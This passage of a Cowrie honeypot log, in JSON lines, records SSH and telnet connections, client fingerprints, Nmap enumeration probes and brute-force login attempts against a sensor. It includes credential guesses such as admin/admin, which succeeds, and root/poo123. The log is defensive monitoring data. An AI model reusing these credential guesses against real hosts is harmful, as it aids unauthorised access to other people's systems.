dsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:23.492463Z","src_ip":"34.78.155.230","session":"72ad96a1b151","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:24.783565Z","src_ip":"34.78.155.230","session":"72ad96a1b151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:24.870131Z","src_ip":"34.78.155.230","session":"76735135e8b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:24.878173Z","src_ip":"34.78.155.230","session":"72ad96a1b151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:27.141651Z","src_ip":"34.78.155.230","session":"76735135e8b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00178027153015,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:28.568128Z","src_ip":"199.103.61.230","session":"dce10b47cb1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34292,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef71dc543052","protocol":"ssh","message":"New connection: 159.203.92.129:34292 (159.203.135.109:22) [session: ef71dc543052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:37.284897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:37.289931Z","src_ip":"159.203.92.129","session":"ef71dc543052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:37.294910Z","src_ip":"159.203.92.129","session":"ef71dc543052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ubiwei82394,c","message":"login attempt [ansible/ubiwei82394,c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:37.306293Z","src_ip":"159.203.92.129","session":"ef71dc543052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":35114,"dst_ip":"159.203.135.109","dst_port":22,"session":"71a0cca053f9","protocol":"ssh","message":"New connection: 50.99.170.152:35114 (159.203.135.109:22) [session: 71a0cca053f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:37.935209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:37.941742Z","src_ip":"50.99.170.152","session":"71a0cca053f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:38.006012Z","src_ip":"50.99.170.152","session":"71a0cca053f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poo123","message":"login attempt [root/poo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:38.277135Z","src_ip":"50.99.170.152","session":"71a0cca053f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:38.314678Z","src_ip":"159.203.92.129","session":"ef71dc543052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:39.341599Z","src_ip":"50.99.170.152","session":"71a0cca053f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.64.30","src_port":43794,"dst_ip":"159.203.135.109","dst_port":22,"session":"17c76cd6b835","protocol":"ssh","message":"New connection: 35.187.64.30:43794 (159.203.135.109:22) [session: 17c76cd6b835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:01.955505Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:01.962456Z","src_ip":"35.187.64.30","session":"17c76cd6b835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.64.30","src_port":43798,"dst_ip":"159.203.135.109","dst_port":22,"session":"29ea6c7c8778","protocol":"ssh","message":"New connection: 35.187.64.30:43798 (159.203.135.109:22) [session: 29ea6c7c8778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:04.183730Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:04.264858Z","src_ip":"35.187.64.30","session":"29ea6c7c8778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43208,"dst_ip":"159.203.135.109","dst_port":22,"session":"59162ffe9127","protocol":"ssh","message":"New connection: 159.203.92.129:43208 (159.203.135.109:22) [session: 59162ffe9127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:23.131849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:23.138057Z","src_ip":"159.203.92.129","session":"59162ffe9127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:23.143751Z","src_ip":"159.203.92.129","session":"59162ffe9127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ubt-NF5280M5","message":"login attempt [ansible/ubt-NF5280M5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:23.155587Z","src_ip":"159.203.92.129","session":"59162ffe9127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:24.162740Z","src_ip":"159.203.92.129","session":"59162ffe9127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":34020,"dst_ip":"159.203.135.109","dst_port":22,"session":"be370b62703d","protocol":"ssh","message":"New connection: 50.99.170.152:34020 (159.203.135.109:22) [session: be370b62703d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:31.358064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:31.362484Z","src_ip":"50.99.170.152","session":"be370b62703d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:31.421761Z","src_ip":"50.99.170.152","session":"be370b62703d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Mx","message":"login attempt [root/123456Mx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:31.689768Z","src_ip":"50.99.170.152","session":"be370b62703d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:32.751531Z","src_ip":"50.99.170.152","session":"be370b62703d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.64.30","src_port":50062,"dst_ip":"159.203.135.109","dst_port":22,"session":"58370e064e95","protocol":"ssh","message":"New connection: 35.187.64.30:50062 (159.203.135.109:22) [session: 58370e064e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:41.742805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:41.772781Z","src_ip":"35.187.64.30","session":"58370e064e95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:41.875083Z","src_ip":"35.187.64.30","session":"58370e064e95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:41.880093Z","src_ip":"35.187.64.30","session":"58370e064e95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.64.30","src_port":50066,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3e66b6c4b70","protocol":"ssh","message":"New connection: 35.187.64.30:50066 (159.203.135.109:22) [session: c3e66b6c4b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:45.988779Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:46.118711Z","src_ip":"35.187.64.30","session":"c3e66b6c4b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:46.123845Z","src_ip":"35.187.64.30","session":"c3e66b6c4b70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.64.30","src_port":50070,"dst_ip":"159.203.135.109","dst_port":22,"session":"f82858cbc91c","protocol":"ssh","message":"New connection: 35.187.64.30:50070 (159.203.135.109:22) [session: f82858cbc91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:46.347246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:46.428564Z","src_ip":"35.187.64.30","session":"f82858cbc91c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:46.502693Z","src_ip":"35.187.64.30","session":"f82858cbc91c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:46.508439Z","src_ip":"35.187.64.30","session":"f82858cbc91c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.64.30","src_port":50086,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d8633e06d14","protocol":"ssh","message":"New connection: 35.187.64.30:50086 (159.203.135.109:22) [session: 3d8633e06d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:46.658768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:46.789867Z","src_ip":"35.187.64.30","session":"3d8633e06d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:46.863818Z","src_ip":"35.187.64.30","session":"3d8633e06d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:47.107272Z","src_ip":"35.187.64.30","session":"3d8633e06d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.64.30","src_port":50094,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb61c3280fa2","protocol":"ssh","message":"New connection: 35.187.64.30:50094 (159.203.135.109:22) [session: eb61c3280fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:47.205270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:47.317812Z","src_ip":"35.187.64.30","session":"eb61c3280fa2","protocol":"ssh"}
